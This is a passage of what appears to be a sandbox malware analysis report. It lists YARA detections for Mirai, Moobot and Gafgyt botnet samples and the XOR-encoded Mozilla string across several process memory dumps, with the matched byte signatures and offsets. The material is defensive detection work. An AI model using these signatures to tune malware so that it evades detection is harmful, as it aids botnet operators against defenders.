0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6795.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6484.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6894.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6801.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6801.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6801.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6801.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6801.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6801.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7041.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7173.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7105.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7003.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7442.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7442.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7442.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7442.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7442.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7442.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7414.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7414.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7414.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7414.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7414.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7414.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6797.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6797.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6797.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6797.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6797.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6797.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7203.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6907.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6907.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6907.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6907.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6907.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6907.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
